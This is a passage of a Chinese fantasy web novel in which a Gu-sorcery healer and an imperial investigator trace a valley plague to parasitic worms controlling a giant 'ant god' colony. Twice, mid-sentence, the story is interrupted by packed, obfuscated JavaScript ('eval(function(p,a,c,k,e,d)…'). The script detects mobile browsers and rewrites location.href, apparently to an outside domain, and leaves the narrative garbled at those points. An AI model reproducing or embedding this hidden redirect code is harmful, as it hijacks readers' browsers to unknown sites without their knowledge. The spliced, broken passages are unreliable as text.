“不会。黑线蛊起初确实会让人身体发痒,但除此之外,它们侵蚀人的内脏,还会引起高热、腹胀、烂疮、吐血,症状还是挺明显的,不会毫无痕迹。” “那你知道有哪种蛊虫可以做到吗?”霍彦先又问。 阿婵思索片刻,摇了摇头,“以我目前所了解的蛊虫,似乎没有这种东西,但也或许是这种蛊虫的近亲,以前没被发现而已。” 霍彦先心中难免失望,还以为丰义军怪病的根源能如此轻易地找到,果然是他想太多。 “大人所说的这种病症,是在哪里看到的,可以让我见识见识吗?”阿婵问。 霍彦先有些犹豫,口中说道:“先救人,之后再说。” 阿婵看他这幅有所保留的样子,就知道问不出什么,只有他想说的时候才会跟她说,便不再搭理他,专心给妇人上金疮药,并且给旁边的小孩子也按照同样的流程驱蛊。 西北盛夏,日头狠毒,一切结束之后,阿婵满头是汗站起来,突然眼前一黑,站立不稳。 向后倒去之际,一只手掌轻轻托在她腰际,将她扶稳。 阿婵侧过头,见霍彦先冷着脸,扣上她的手腕。 她一惊,想抽手,整个手腕却被他宽大的手掌全部包裹住。 只听霍彦先一边给她把脉,一边纳闷:“上次给你的药没吃吗?怎么这么久了内伤还是不见好?” 他强制她坐下,递给她水囊,“你先喝点水,休息一下,一会儿我为你输送些真气。” 阿婵:“……” 又来了,又来了! 这人真是…… 阿婵坐在地上,从牙缝里挤出一丝笑容:“霍大人对待敌国细作一向这么好吗?” 霍彦先怒目:“休得胡言!” 116. 蚁神降祸 霍彦先为阿婵输送真气之后,她苍白的面色缓和了许多。 二人等待母子苏醒的过程中,阿婵又拆开之前为妇人简单包扎的右手查看伤势。 她右手的五根手指均肿.胀得厉害,大概都有不同程度的断裂。 “骨折也得尽快处理,不然身上的黑线蛊虽然除掉了,但她身子虚弱,单是骨折也能要命。”阿婵道。 “下山就是休云镇,可以在那里先找郎中处理骨折的伤口。” 霍彦先说着,发出信号,让山下休云镇绣衣察事司的人赶来支援。 “我来吧,这个我熟。”而后他让阿婵休息,独自处理妇人骨折的伤口。 阿婵看他异常娴熟的包扎固定手法,问:“大人经常处理骨折伤?” “军中和绣衣察事司,骨折是家常便饭。” *** 太阳快落山之时,妇人终于苏醒。 虽然她还十分虚弱,起不来身,但还是激动地对阿婵和霍彦先千恩万谢。 阿婵问她:“你的手是怎么回事?” “之前我在山中遇到一队送药材的商队马车,我想为孩子求些药,就拦了车,哪知他们急于赶路,根本不理我,我也是一时急昏了头,竟用手去拦车,结果被卷进了车轮……” 妇人说着,面色因激动泛红,泪水顺着脸颊滑落下来。 阿婵回想起那个要烧死母子的年轻男子,“你认识那个人吗?” “不认识,他是那个药材车队的人。” “药材商队竟不顾人命,也真是讽刺。”霍彦先冷哼。 妇人又哭诉,“我好不容易带着孩子从崇德谷中跑出来,以为自己不会被烧死了,结果又碰上了那人,要不是阿婵娘子救下我们母子,我们真就是被烧死的命!” 阿婵安慰她:“如今不会了,你和孩子体内的蛊虫都已经被我驱除,骨折只要好好修养,很快就会痊愈的,不会再有性命之忧。” 那妇人疑惑:“蛊虫?什么蛊虫?不是蚁神发怒降下惩罚,才引起的瘟疫吗?” “什么蚁神?”阿婵问道,神色瞬间有些怪异。 妇人解释:“蚁神是几百年来护佑我们崇德谷百姓的神灵。瘟疫之前,蚁神庙中供奉的蚁神造像不知道为何遭到了破坏,当晚谷中到处都是蚁群,大家都说是蚁神因造像被毁坏发怒了,要降灾祸于谷中。 大家本以为要地动,惊惶了一晚不敢睡觉,结果倒是没有地动,不久就发生了瘟疫。” 阿婵和霍彦先对视一眼。 阿婵又问:“你们为什么要信奉蚁神?” 此时,恰好绣衣察事司的支援到了,他们将母子抬上马车,于是阿婵和霍彦先便在马车上听妇人讲述信奉蚁神的由来。 原来肇度城崇德谷,在几百年以前是无人居住的荒谷。 妇人的祖先因躲避战火,便跑到崇德谷隐居。 他们从初来乍到一无所有,到世世代代安居乐业,经历了几百年,全靠蚁神的护佑。 传说,祖先在战火之中受伤,一家老小发现崇德谷有个洞穴可以藏身,便躲了进去。 谁知道,那洞穴之中有许多蝎蚁,外型大致是普通蚂蚁的样子,但头上有两个像蝎钳一样的触角。 当时祖先一家非常惊恐,因为那蝎蚁一只有鸡蛋大小,是普通蚂蚁的几百倍之大,他们从未见过那么大的蚂蚁,当时就觉得是蚂蚁成精,便一边跪拜一边道歉。 祖先说,抱歉误入蚁神巢穴,我们不是故意的,只是外面战火连天,实在没办法了,只能暂时借宝地躲避一下,之后马上会另寻藏身之地。 但那些蝎蚁听了之后,没有对这些外来的入侵者群起而攻之,反而非常友好地给他们送来自己辛苦寻找的食物,并带祖先一家去见了蚁群的王后。 祖先本以为蝎蚁就已经够大了,但没想到蚁后之大,还是超出了他们的想象。 那蚁后竟然有一头黄牛大小。 而且蚁后会说人话,让祖先安心在这个山谷之中定居,只要勤奋,就可以安居乐业,还带祖先一家参观了她的巢穴。 祖先一家初进洞穴之时,以为这只是个普通的山中空洞,但是没想到,洞中别有天地,他们沿着洞穴中的细小腔道一直往下走,发现这个山洞中竟有无数条四通八达的极细管腔,以及无数小洞窟,他们一路走一路看,路上有无数蝎蚁在勤奋地挖掘新的洞窟和细腔。 祖先一家不由得惊叹。 蚁后说:“看到了吗,我蝎蚁一族的家园就是由我的无数子孙勤勤恳恳建造而成的,一天都没有懈怠。只要你们也秉承这个精神,没有活不下去的理由。” 祖先一家深受启发,谢过蚁后,出了洞穴,便在肇度城崇德谷之中安家落户,并建造了蚁神庙,将蚁后供奉其中。 几百年过去了,崇德谷在外界的战乱之中没有受到惊扰,这里的百姓繁衍生息,勤恳生活,谷中犹如世外桃源。 当地所有百姓都知道,这是蚁神护佑,所以每年六月都会到蚁神庙祭祀。 但今年祭祀日前夕,不知道谁毁坏了蚁神庙中供奉的蚁神造像,谷中百姓皆惊,结果当晚蚁群漫山遍谷,大家一时间没能找出凶手,只能赶紧修补造像,之后不久瘟疫便发生了。瘟疫病人身上出现溃烂红疮,和毒蚁啃咬的伤口十分相似。 大家都说,是因为蚁神造像被毁,蚁神本尊发怒,认为谷中人对蝎蚁一族忘恩负义,这才降下灾祸,要以人来祭祀蝎蚁一族。 妇人说:“谷中现在每日焚烧尸体,就是为了给蚁神进行人祭,我知道蚁神护佑我们多年,可我……可我的孩子真的太小了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488253|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我实在舍不得他被烧死,所以才拼死带他跑出来……” 她一边说,一边又开始抹泪。 马车行了一阵,到了休云镇,他们找到郎中,给母子二人仔细处理伤口。 霍彦先和阿婵在屋外等候。 “要将他们带回崇德谷吗?好不容易才逃出来的。”阿婵问。 “带二人回去,才能证明瘟疫不是普通瘟疫。放心,我会让人保护好他们。”霍彦先道。 “到了崇德谷,我要去看看那蚁神庙。” “你有什么想法?” “那个传说中的蝎蚁蚁神,我感觉可能是精怪,但在我的印象中,黑线蛊并没有和蚁族有过关联,只是现在还没有别的头绪,就先去看看。” 霍彦先注意到阿婵说这话的时候,脸色微变,呼吸变得微微有些急促,不由得担心:“你怎么了?还是不舒服?” 阿婵摇摇头,随后便进屋去查看母子的情况。 霍彦先看着她进屋的背影,皱起眉头。 简单处理过母子的伤势,一行人又重新上路。 路上还看到源源不断的药材商队驶向肇度城崇德谷方向。 *** 崇德谷在肇度城山间的峡谷地带,也就是说,先进城,才能进入峡谷。 但刚到城门,他们就被守城的官兵拦下了。 在他们前面,是刚刚遇到的药材商队,也正被拦下接受检验。 “你们是什么人?”守城官兵例行询问。 霍彦先亮出身份,“我是绣衣察事司副察事霍彦先,奉皇命过来查探瘟疫一事。” 官兵看过腰牌和文牒,本要放行,但检查到马车上的母子,大惊失色,“车上怎么有瘟疫病人!” 霍彦先解释道:“他们已经被治好,我们进城就是为了告诉大家,这不是普通的瘟疫,是可以治好的。” 守城官兵犹疑不定,说要上报给节度使。 管理肇度城的节度使蒋公川,霍彦先自然是认识的,为了节省时间,他安排绣衣察事司的人保护阿婵和母子,自己亲自去和蒋公川交涉。 在等候时,阿婵看到前面的药材商队走来一个年轻男子,督促商队将检验后的马车重新包裹装载好,以免路上遗漏药材。 阿婵脸色骤变,那人赫然就是在休云北山要烧死母子的人! 当时她将那人打晕,只顾着先救母子,等回来再想处理他的时候,那人已经不见了。 阿婵让马车中的妇人透过车帘缝隙看了一眼。 “就是他!就是他!”妇人激动道。 阿婵盯着那药材商队的旗号,眸色逐渐变得深沉。 商队旗号上写着“真济堂”。 阿婵认得这旗号。 这是楼映真在西北一带行商的旗号。 117. 卦象 霍彦先和节度使蒋公川交涉完毕,将那对母子暂时安排在蒋公川处,由绣衣察事司的人保护。 蒋公川特意找人为他带路,守城官兵放行。 他和阿婵在一名官兵的带领下,一路往峡谷下行,来到崇德谷。 谷中的境况比霍彦先和阿婵想象的还要糟糕。 这峡谷并不大,站在谷口处,就能看见远处山脚下有滚滚浓烟,气味异常难闻。 官兵无奈道:“天气炎热,谷中死亡人数又急剧增加,疫病尸体需要尽快焚化,以防腐烂,瘟疫蔓延,目前蒋大人已经安排官兵一天十二时辰不停焚烧,但尸体依旧还是堆积如山,唉……” 这样下去,过不了多久,整个城就会空掉…… 三人心情沉重,往谷中走去。 一路空空荡荡,街里巷间家家封门闭户,空气中混杂着浓重的药味和焚烧驱疫香草的味道,用以和焚烧尸体的气味相抗衡,但混合起来的味道更是令人说不出的难受。 路上只有身着制服的肇度城下派官兵在巡视。 极其偶尔能够见到普通路人,不是端着药,就是抬着覆盖草席的尸体匆匆而去。他们虽然还活着,但似乎已经预见到了自己的未来,脸上是全然的麻木和绝望。 在街巷隐蔽处,还有一些来不及清理的尸体,来之前蒋公川已经叮嘱过霍彦先,因谷中短时间内瘟疫极速扩大恶化,谷中药物根本不够分发,没有药,这些人就只能眼睁睁等死。 由于死的人太多,甚至官府也没有多余的人员及时处理这些尸体,只能暂时放任曝尸。 除此之外,还有一些半死不活躺在地上的人,阿婵看到他们不断搔着身上,暴露在外的皮肤上全是抓烂的红疮脓水和血痕,还时不时吐血,境况惨不忍睹。 “别过来!别过来!”那人痛苦吐血,喘着粗气难以呼吸,见阿婵要上前,急忙嘶哑嗓子阻拦。 “我是怕给家里人都染上,才独自跑到这里的,你们别过来,别给你们也染上,快走快走!” 阿婵观察这人,基本和那对母子被黑线蛊寄生的症状一致。 但不同的是,这人病程已经太过严重,黑线蛊已将他大部分内脏啃噬殆尽,到了这个地步,就算是阿婵将蛊虫驱除,也无力回天了。 无奈之下,他们只能遗憾离开。 *** “煜王殿下。” 霍彦先和阿婵终于找到了正在审查今日谷中瘟疫状况的煜王晁元肇,楼映真也在他身侧忙碌,指挥分发药物。 “霍大人?闻寰居士?”你们怎么来了?!” 煜王十分惊喜,因之前和霍彦先联手解决了荔南府富州城贪墨水患案,和平海镇节度使犯上作乱案,他对于霍彦先在自己身边出现,有一种油然心安的感觉。 而闻寰居士,他更是意想不到,但这位不仅精通捉妖,还会道医,此刻出现在这里,若是能帮上忙,也是再好不过了! 天降神兵!煜王简直大喜过望。 霍彦先和阿婵寒暄过后,言简意赅地将他们二人救下母子,发现黑线蛊一事告诉煜王。 煜王震惊:“你们是说,这不是普通的瘟疫,而是蛊虫作祟?!” 阿婵将一叠符箓分发给煜王以及各处忙碌的人员,“这是可以抵抗黑线蛊侵入身体的符箓,大家拿好。” “多谢闻寰居士。”煜王道。 “楼娘子竟也和煜王殿下一同在此处,属实没有想到。”阿婵将符箓递给楼映真时,故作惊讶。 “映真在西北生活多年,掌管药材商队,本王得知她有如此本事时也非常意外,不过这次她从西北各地调来救命药材,真是帮了大忙。” 煜王立刻夸赞楼映真,一副与有荣焉的样子。 阿婵也笑着称赞:“没想到楼娘子一身好功夫,如今还掌管西北药材生意,真是和一般娇生惯养的贵女完全不同。” “居士过奖了,映真曾多年在西北生活,知道此地生存不易,便多拓展些防身续命的技能而已。” “我在路上也看到了楼娘子的药材商队马车,不顾危险千里疾驰,运送药物救灾护民,真是宅心仁厚。” “药材本就是为了救命,若是此次能够救谷中百姓于水火,也算是完成了它们应有的使命。” 楼映真的虚怀若谷令煜王赞誉有加,但看得阿婵只想冷笑。 “不过居士,瘟疫真的是蛊虫所致?”楼映真问道。 “目前看是这样,但我还想再多看一些病例,进一步确认。” “那这符箓,是否对其他蛊虫都有效?” “这是我赶制出来特意针对黑线蛊的,因各种蛊虫都有不同,所以没办法覆盖所有范围。楼娘子可是觉得此处还有别的蛊虫?” “没有没有,我只是随口一问,现下人心惶惶,如果符箓的防御范围大一些,也安心一些。” 见楼映真语气眼神有些闪烁,阿婵觉得有些古怪,但嘴上还是说:“我手中符箓有限,先给大家应急,之后若有条件,我再尽量研制你说的这种符箓。” “辛苦居士。”说着,楼映真便又去分发药物。 阿婵仔细斟酌楼映真的反应,心下生疑,不过煜王要带她先去查看病人,也就只能将这疑惑暂时按下。 *** 煜王带阿婵和霍彦先先查看了一些瘟疫病人,又查看了郎中开的药方。 当地最好的郎中左同方回忆瘟疫的进展情况: “谷中六月初开始出现这种疫症,当时只是十几个人染病,因将这些人及时与未患病的百姓隔离开,也就没有再扩大。” 霍彦先点头,这与他最初收到的情报对得上。 阿婵查看郎中开的药方,是传统经方,若是普通瘟疫,或许可以起效,但体内若是被黑线蛊入侵,就治标不治本了,只能暂时起到一个拖延病程的作用。 郎中左同方继续道:“后来有一晚,谷中.出现大量蚁群,第二天出现瘟疫症状的人数急剧增加,而且病程来得急快又急,搞得我们措手不及,当时谷中药物用尽,等不及补给,很多人甚至都熬不过三天就去世了。” 他这些日子也熬得焦头烂额,还未到不惑之年,头顶已全是滋生的白发。 “希望能尽快找到线索,将黑线蛊驱除干净,不然被蛊虫寄生的人只会越来越多,我的符箓一时间也只有那么多,根本来不及应付。”阿婵道。 “你们可有头绪?”煜王急问。 “听闻这里有座蚁神庙,可否找人带我们去瞧瞧?”霍彦先道。 “好好,本王这就安排人带你们去。” 煜王连忙叫随从请来一位当地负责瘟疫的官员。 这人叫祝元思,约莫三十出头年纪,是肇度城崇德谷本地人,对于谷中一切都十分熟悉。 祝元思带着阿婵和霍彦先,往蚁神庙走去。 天色渐暗,在一个岔路口,三人遇到一个须发皆白的老翁,面前地上放着个铁盆,内里正在焚烧纸剪的小人,老翁口中还念念有词。 霍彦先和阿婵靠近听到他碎碎念:“蚁神息怒,我这就将我的儿子、女儿、孙子全都烧给你,请你放过我们一家,放过我们一家……” 阿婵和霍彦先看向祝元思。 祝元思面露尴尬,将二人拉到一旁:“这是我们谷中有名的神棍陈伯,非说这次瘟疫是因为祭祀蚁神前造像被损坏,才惹得蚁神发怒,需要人祭,所以搞这些有的没的,说是避祸。” 阿婵道:“所以关于谷中瘟疫是蚁神降祸的推测,就是从他这里传出来的?” “嗯嗯,他就住在蚁神庙里,会卜卦,虽然十次有两三次不准,但还是有很多人很信他。” “那他这样烧完,家人就能平安了吗?” “嗐,他都住在庙里了,哪儿还有家人啊,十年前就已经死光了,剩他一个从外面流落到谷内,这些年就靠卜卦糊口,整天神神叨叨的,有时候都神志不清,他说的话不能全信。”祝元思道。 霍彦先对阿婵道:“蚁群出现那晚,他在蚁神庙,或许他会知道些线索。” 刚想上前去,那陈伯却看向他们这边,口中愤怒大喊:“外乡人滚开!外乡人滚开!” 他眼神说混沌又带着些鸡贼的清醒,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“是蛇?”霍彦先的搜寻经验告诉他,这些密集的线状痕迹,看粗细形状,很像拇指粗细的小蛇爬行的痕迹。 “再看这里。”阿婵又让霍彦先仔细看造像底部,有许多裂隙。 突然,那神志不清的陈伯突然冲进庙中。 “外乡人走开!不可亵渎神灵!” 他冲上来欲大力推开霍彦先和阿婵,被二人轻巧避开,整个人扑在了祭台上。 “蚁神已经有了指示!”陈伯疯癫地指着祭台上灰尘的痕迹。 “天雷无妄!大凶!”他大声嘶吼。 “陈伯!别闹!” 祝元思试图阻止老翁闹腾,但对方力气很大,根本不听他的,重复喊着:“天雷无妄!大凶!天雷无妄!大凶!” “他说这话是什么意思?”霍彦先问阿婵。 “是卦象。天雷无妄,上乾下震,乃是周易之中的下下挂,预示着无妄之灾。” 阿婵指着祭台灰尘上布满的“蛇形”线条其中一组,比划了一下,那些长长短短的线条,正组成了周易卦象之中的“天雷无妄”卦。 陈伯一下愣住,眼中有些意外。 只见阿婵看着他,慢慢笑起来,一把将他抓过,推到祭台前,按住他的头。 “那您老人家再看看这个呢?” 陈伯被迫又向另一组“蛇形”线条看去。 只听得阿婵道:“这上艮下巽,明明是山风蛊卦,物腐生虫之象,不进则退,不破不立!” 陈伯呆愣,满眼惊讶,但还是道:“不可妄为!不可妄为!蚁神再发怒,要更多人祭!” 阿婵冷哼一声,已经飞身跃上祭台,直接一脚将蚁神造像踢飞,怒喝,“谁家好神仙动不动就发怒要人祭,让我来会会它!” 在祝元思和陈伯目瞪口呆的注视下,蚁神造像轰然倒在祭台上。 霍彦先迅速从后面将陈伯用绳捆缚住,对祝元思道:“看住他!” 紧接着也飞身跃上祭台,只见被踢倒的造像莲座之下,出现了一个水缸口粗细的洞口,下面黑洞洞的,有阵阵阴森潮湿的风从里面冲出。 阿婵望着洞口,深吸一口气,“速战速决!” “慢着……”霍彦先看她脸色那么难看,忙想阻拦,但阿婵已经纵身跃入洞口,他只好匆匆跟上。 118. 鸠占鹊巢 阿婵跳入洞口,霍彦先紧随其后。 二人顺着洞道往里走,这洞道呈圆形,很宽阔,连霍彦先这么高的身量,走在其中都不用弯腰低头。 他们打起火折子,走了一会儿,拐进一个洞窟,里面有很多蚁神庙祭台上供品的碎屑残渣,还有很多真的蝎蚁爬来爬去! 只不过,并没有传说中的那般,有鸡蛋大小,只是普通蚂蚁那么大。 “蝎蚁竟是真实存在的。”霍彦先不由得感到惊奇。 “很多传说其实并不是空穴来风。”阿婵举着火折子,继续沿洞道往里探。 突然,一.大片蝎蚁听到他们的脚步声,像潮水般无声但疯狂地从洞穴四面八方涌过来! 阿婵扬手一道符箓甩出,金光乍现,在黑暗的洞道之中尤为耀目刺眼,蝎蚁好似被闪瞎了一般,疯狂后退逃窜。 霍彦先则趁机借着符箓金光观察洞道四周,“没想到,这蚁神造像之下,竟连通着如此巨大的蚁穴。难道传说中的蝎蚁一族真的将巢穴建到了这里?还是本来蚁巢就在这里,崇德谷的祖先才在其上建立蚁神庙?” “不知道,但这些蝎蚁有点古怪,传说中可不是这样的。”阿婵声音冷冷的。 符箓金光消失。 面前,无数蝎蚁还在对他们虎视眈眈。 它们头顶的一对蚁眼发出幽暗血红的光芒,密密麻麻聚在一起犹如一片移动的血红小灯笼,在这阴暗潮湿的地下洞穴之中显得尤为不怀好意。 但是刚刚在阿婵手底下吃了亏,它们此刻也不敢肆意往前涌,随着阿婵往前走,它们一片一片往后四散退去。 霍彦先跟在后面,心中好笑,看这样子,倒像阿婵才是这洞道中的一霸。 不多时,二人走到了岔路口,阿婵停住,左右两边,不知道该选哪个。 “想直捣黄龙,就选这条。”霍彦先指着右边的洞道说。 阿婵瞥了他一眼,“你怎么这么清楚,你住这儿?” “以前在军中,蚁巢是好东西,受伤了可以用来活血化瘀,清热止痛,有时候会顺手掏一掏,而且军中建造防御工事,也会参考蚁巢的构造。 刚才蚁神庙中的蚁巢沙盘,我仔细看过,都记下来了,这里的构造跟那个大差不差。” 霍彦先解释道,“按照蚁巢的构造,其实刚才我们下来拐进的洞窟,应该就是蝎蚁的谷仓,你看那地上的食物残渣,或许它们就是在蚁神庙下面挖通道,方便搬运祭祀供品回去吃。” 阿婵惊讶地看着霍彦先,又看看右边的洞道,走了进去。 “信你一次。” 一路按照霍彦先的记忆,二人真的走到了最大的洞窟——蚁后巢穴。 这是很长很长的一段路,霍彦先推测,这里应该已经到了峡谷西侧的山体之中,再往那边一点,他们头顶就该是休云镇了。 蚁后巢穴非常之大,地面距离洞顶足足有两人高,但这里空空荡荡,除了四周突起的岩壁,什么都没有,漆黑安静得透出诡谲。 阿婵和霍彦先对视一眼,心下提高警觉,同时抓紧时间四处查找线索。 突然,洞壁中.央,一块巨大的岩石隆起松动了一下! 又一下! 洞窟震动四起,周围岩壁被震得纷纷掉落碎石渣。 阿婵和霍彦先瞬间凑到一起,背对背形成防御姿态。 他们这才注意到,那漆黑的洞壁上根本不是山体岩石,而是一只巨大的蝎蚁镶嵌在其中,严丝合缝。 是蚁后! 二人震惊地看着它从洞壁中脱离出来。 这蚁后真的如同蚁神庙的造像一般,直立起来有两人之高,在洞壁之上也是顶天立地。 似乎是因为阿婵和霍彦先的脚步声,它受到惊扰才苏醒过来,脱离洞壁,沉重的身躯落在地面,又是一次巨震! 蚁后落地,正对着二人,血红色的蚁眼这回真的有灯笼大小,它恶毒地盯着阿婵和霍彦先,像是睡得正香却被打扰,挥舞起蝎钳触角,愤怒地向二人冲过来! 阿婵和霍彦先一左一右,闪身避开。 霍彦先挥舞贯苍刀挡住钳触角的攻击。 “当”地一下,贯苍刀和蝎钳触角硬碰硬,竟生生溅起火星。 蚁后被震得蝎钳往后一缩,而此刻山蜘蛛丝从阿婵手中飞出,缠上了它的另一只蝎钳触角,借着蚁后愤怒挣.扎之际,阿婵轻轻一跃,借力跃上洞壁。 而霍彦先抓住这个空当,钻到蚁后腰腹部最细处,用贯苍刀大力砍去,却丝毫劈不动,它的外壳竟也坚硬异常! 蚁后感到身后有人,欲暴怒转身,但它身子太大,挪动速度慢,洞壁上的阿婵又伺机将山蜘蛛丝缠上它的另一个蝎钳触角。 就在阿婵制衡蚁后之时,洞壁掉落的碎石渣竟也涌动起来,无数怨毒又血红的小眼睛睁开来,盯着霍彦先! 原来那些根本不是什么碎石渣,而是无数蝎蚁! 和他们在谷仓见到的普通蝎蚁不同,这一次涌来的蝎蚁竟真和传说中一样,各个都有鸡蛋大小! 它们看到蚁后被二人围攻,够不着阿婵,就愤怒地向地面上的霍彦先疯狂涌去。 阿婵飞身落在蚁后头上,一手用蛛丝扯住蝎钳触角,一手甩出一道符箓。 符箓飞至霍彦先身前替他抵挡,哪知这回,鸡蛋大小的蝎蚁竟根本不怕阿婵的符箓,继续向霍彦先席卷而去! 情急之下,霍彦先抬手用贯苍刀一挑,一片蝎蚁就从地上被掀到悬挂的山蜘蛛丝上,黏住无法动弹。 但四周蝎蚁太多,前赴后继,霍彦先瞬间被围困住,手中的火折子太小,蝎蚁也根本不怕,他只能不停用刀将蝎蚁一片片掀飞。 “你再撑一下!” 阿婵见霍彦先的动作,心中一动,将山蜘蛛放出来,立刻以蚁后的身躯和洞壁互为支点,来回轻巧跳跃。 她踏着罡步,足点洞壁四处翻飞,在蚁后和无数蝎蚁还在发疯的时候,已经将山蜘蛛丝挂在了蚁后身上和洞壁各角落的岩石突起上。 “结网!” 随着阿婵一声大喝,山蜘蛛疯狂吐丝,四处盘绕的蛛丝在各个连接点,突然生长延伸出更多的蛛丝,迅速结网。 顷刻间,大大小小盘根错节的蛛丝网便把整个蚁后巢穴变成了盘丝洞! 霍彦先一下便懂阿婵的用意,挥起贯苍刀,用内力掀起一.大片张牙舞爪的蝎蚁,蝎蚁顿时被强大的气波掀飞到空中,黏在了山蜘蛛丝上。 蛛丝越结越密,疯狂生长,像撑开的大小各异的伞面,霍彦先一刀掀起一.大片蝎蚁,蝎蚁被黏在蛛丝网上不能移动分毫,只徒劳地挥舞着蝎钳触角抗议。 片刻后,别说蝎蚁,就是蚊子也没办法从密密麻麻的山蜘蛛丝网中穿行,有一只算一只,全都被牢牢黏在上面。 洞壁的缝隙,也完全被山蜘蛛丝堵死,后面再想涌过来的蝎蚁群也只能在蛛网后盲目撞击,然后被黏住。 那蚁后被山蜘蛛丝围困,寸步难行,挥舞蝎钳触角愤怒抗议,但是没有用。 蚁后在挣.扎,被黏在山蜘蛛丝上的蝎蚁们也在挣.扎,两方越用力,山蜘蛛丝结成的网就收得越紧。 到了最后,蚁后的两只蝎钳触角,外加三对足都被蛛丝直直吊在空中,丝毫动弹不得。 霍彦先忙活一通,终于消停下来,却见阿婵挂在洞壁,作壁上观,淡绿裙衫,纤细腰肢,明眸善睐,活像传说中美.艳妖娆的蜘蛛精。 见蚁后仍在不甘挣.扎,阿婵足尖一点脚下岩壁,精准落在蚁后头上。 她掏出匕首,狠狠刺入蚁后的脑后,继而扯出一根细细长长的丝线。 随着那根丝线被阿婵扯出来,蚁后痛苦异常,剧烈地甩动身躯,若不是阿婵臂力够强抓得牢,早已经被甩出去了! 霍彦先定睛看去,原来阿婵扯出的那根带着黑黄血浆的丝线,也在剧烈地蠕动挣.扎。 那根本不是什么丝线,而是二尺来长、黄鳝般巨大的一只黑线蛊!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“别开玩笑了,你来你也会累死!”阿婵摆摆手,表示拒绝。 蚁后绝望,耷拉下脑袋,怜悯地望着自己满洞穴的子孙后代,深感痛心:“难道今日就是我蝎蚁一族灭族之时?” “别那么绝望,还没到时候。”阿婵道。 蚁后闻言,又抬头看向阿婵。 “带你们亲自报仇,去不去?”阿婵道。 此刻蚁后如果有人的五官,应该也和霍彦先一样惊讶。 阿婵又从山蜘蛛丝上随意摘了两三个蝎蚁,用匕首将它们身上的黑线蛊挑出来杀掉,蝎蚁一阵剧烈疼痛之后,恢复正常。 “你们的嗅觉不最是灵敏吗?带着你这几个子孙,跟我去找黑线蛊的老巢,能找到吗?” “好!”蚁后从绝望混乱中冷静下来,毫不犹豫地应下了阿婵的要求。 它指挥那两个恢复意识的蝎蚁前去探路,片刻后,蚁后对阿婵和霍彦先说,有很多黑线蛊似乎从蚁巢的另一个方向出去了。 阿婵让蚁后在前面开路,她和霍彦先跟在后面,蚁后走了捷径,一路避开了那些被黑线蛊寄生蚁群的疯狂攻击。 霍彦先在阿婵身侧走着,明显感觉她此时有些不对劲,面色苍白,额头沁汗,越走越慢,越走越慢。 他拉住阿婵的手腕,低声问道:“你从在休云北山就不对劲,到底怎么了,可是这蚁群有问题?” 阿婵面色复杂,没有说话,只抹了抹额头汗珠,示意他别管。 霍彦先看她的表情,多年的审讯经验不由自主发挥了作用,心底浮现了一个令他都难以置信的猜测,这猜测让他觉得十分荒谬,他甚至觉得自己连想也不应该想,但还是问道—— “你不会是……害怕蝎蚁吧……” “你才害怕!” 看阿婵瞬间炸毛,霍彦先更加坐实了这个匪夷所思的猜测。